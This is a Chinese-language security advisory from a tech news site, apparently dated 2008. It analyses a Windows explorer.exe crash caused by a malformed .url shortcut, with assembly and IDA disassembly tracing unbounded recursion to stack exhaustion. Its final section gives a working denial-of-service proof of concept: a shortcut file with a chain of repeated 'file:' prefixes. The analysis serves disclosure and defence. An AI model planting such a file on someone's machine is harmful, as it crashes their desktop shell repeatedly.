科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网服务器频道解析URL格式化漏洞

解析URL格式化漏洞

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

Windows的Shell程序explorer.exe在处理包含畸形数据的“.url”文件时存在问题,本地攻击者可能利用此漏洞导致用户机器上的explorer.exe进程崩溃。

来源:IT专家网 2008年11月7日

关键字: 资源管理器 Windows 漏洞 URL

  • 评论
  • 分享微博
  • 分享邮件

  1.描述

  Windows的Shell程序explorer.exe在处理包含畸形数据的“.url”文件时存在问题,本地攻击者可能利用此漏洞导致用户机器上的explorer.exe进程崩溃。

  如果explorer.exe解析了包含有特别格式URL的*.url文件的话,就会导致崩溃。即使通过资源管理器试图删除这个文件时也会触发崩溃。

  目前厂商还没有提供补丁或者升级程序,到目前为止该漏洞依然有效。

  汇编代码中际出错的地址:

  7D5CE6B9 push ecx

  7D5CE6BA lea ecx, dword ptr [esp+8]

  7D5CE6BE sub ecx, 1000

  7D5CE6C4 sub eax, 1000

  7D5CE6C9 test dword ptr [ecx], eax 异常地址

  7D5CE6CB cmp eax, 1000

  7D5CE6D0 jnb short 7D5CE6BE

  7D5CE6D2 sub ecx, eax

  7D5CE6D4 mov eax, esp

  7D5CE6D6 test dword ptr [ecx], eax

  7D5CE6D8 mov esp, ecx

  7D5CE6DA mov ecx, dword ptr [eax]

  7D5CE6DC mov eax, dword ptr [eax+4]

  7D5CE6DF push eax

  7D5CE6E0 retn

  2.详细分析

  在IDA的反汇编中可知:

  public: virtual long __stdcall CFileUrlStub::ParseDisplayName(struct HWND__ *, struct IBindCtx *, unsigned short *, unsigned long *, struct _ITEMIDLIST * *, unsigned long *) proc near

  .text:7D6A112C ; DATA XREF: .text:7D5A327Co

  .text:7D6A112C

  .text:7D6A112C var_20A0 = dword ptr -20A0h

  .text:7D6A112C var_209C = dword ptr -209Ch

  .text:7D6A112C var_2098 = dword ptr -2098h

  .text:7D6A112C Srch = word ptr -2094h

  .text:7D6A112C var_104C = dword ptr -104Ch

  .text:7D6A112C var_4 = dword ptr -4

  .text:7D6A112C arg_C = dword ptr 14h

  .text:7D6A112C arg_14 = dword ptr 1Ch

  .text:7D6A112C arg_18 = dword ptr 20h

  .text:7D6A112C

  .text:7D6A112C mov edi, edi

  .text:7D6A112E push ebp

  .text:7D6A112F mov ebp, esp

  .text:7D6A1131 mov eax, 20A0h 局部堆栈长度

  .text:7D6A1136 call __chkstk 出错函数地址

  .text:7D6A1136

  .text:7D6A113B mov eax, ___security_cookie

  .text:7D6A1140 push ebx

  .text:7D6A1141 mov ebx, [ebp+arg_18]

  .text:7D6A1144 push esi

  .text:7D6A1145 mov esi, [ebp+arg_14]

  .text:7D6A1148 push edi

  .text:7D6A1149 mov edi, [ebp+arg_C]

  .text:7D6A114C push edi

  .text:7D6A114D mov [ebp+var_4], eax

  .text:7D6A1150 call ds:UrlGetLocationW(x)

  .text:7D6A1156 push 0

  .text:7D6A1158 mov [ebp+var_2098], eax

  .text:7D6A115E push 6

  .text:7D6A1160 lea eax, [ebp+var_209C]

  .text:7D6A1166 push eax

  .text:7D6A1167 lea eax, [ebp+var_104C+2]

  .text:7D6A116D push eax

  .text:7D6A116E push edi

  .text:7D6A116F mov [ebp+var_20A0], 824h

  .text:7D6A1179 mov [ebp+var_209C], 823h

  .text:7D6A1183 call ds:UrlGetPartW(x,x,x,x,x)

  .text:7D6A1189 test eax, eax

  .text:7D6A118B jl short loc_7D6A11A1

  .text:7D6A118B

  .text:7D6A118D cmp [ebp+var_209C], 0

  .text:7D6A1194 jz short loc_7D6A11A1

  .text:7D6A1194

  .text:7D6A1196 mov word ptr [ebp+var_104C], 3Fh

  .text:7D6A119F jmp short loc_7D6A11A9

  .text:7D6A119F

  .text:7D6A11A1 ; ---------------------------------------------------------------------------

  .text:7D6A11A1

  .text:7D6A11A1 loc_7D6A11A1: ; CODE XREF: CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+5Fj

  .text:7D6A11A1 ; CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+68j

  .text:7D6A11A1 and word ptr [ebp+var_104C], 0

  .text:7D6A11A1

  .text:7D6A11A9

  .text:7D6A11A9 loc_7D6A11A9: ; CODE XREF: CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+73j

  .text:7D6A11A9 push 0

  .text:7D6A11AB lea eax, [ebp+var_20A0]

  .text:7D6A11B1 push eax

  .text:7D6A11B2 lea eax, [ebp+Srch]

  .text:7D6A11B8 push eax

  .text:7D6A11B9 push edi

  .text:7D6A11BA call ds:PathCreateFromUrlW(x,x,x,x) 该函数递归

  .text:7D6A11C0 test eax, eax

  .text:7D6A11C2 jl short loc_7D6A121B

  .text:7D6A11C2

  .text:7D6A11C4 push ebx ; int

  .text:7D6A11C5 push esi ; int

  .text:7D6A11C6 xor edi, edi

  .text:7D6A11C8 push edi ; char

  .text:7D6A11C9 push edi ; int

  .text:7D6A11CA lea eax, [ebp+Srch]

  .text:7D6A11D0 push eax ; lpSrch

  .text:7D6A11D1 call ILCreateFromPathEx(x,x,x,x,x)

  总结:

  由于对参数检查不严格,造成这段函数不停地递规调用自已,每次都用堆栈0x20A0。由于windows线程的堆栈不是无限增大的,超过他的最大范围就出错了。当进行第28次调用以后,达到了windows堆栈所能允许的最大值,explorer程序异常退出。

  3.利用代码 

  [InternetShortcut]

  url=file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:

  把以上文字保成成URL为后缀的文件,可以造成桌面程序(Expolore.exe)一直出错。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章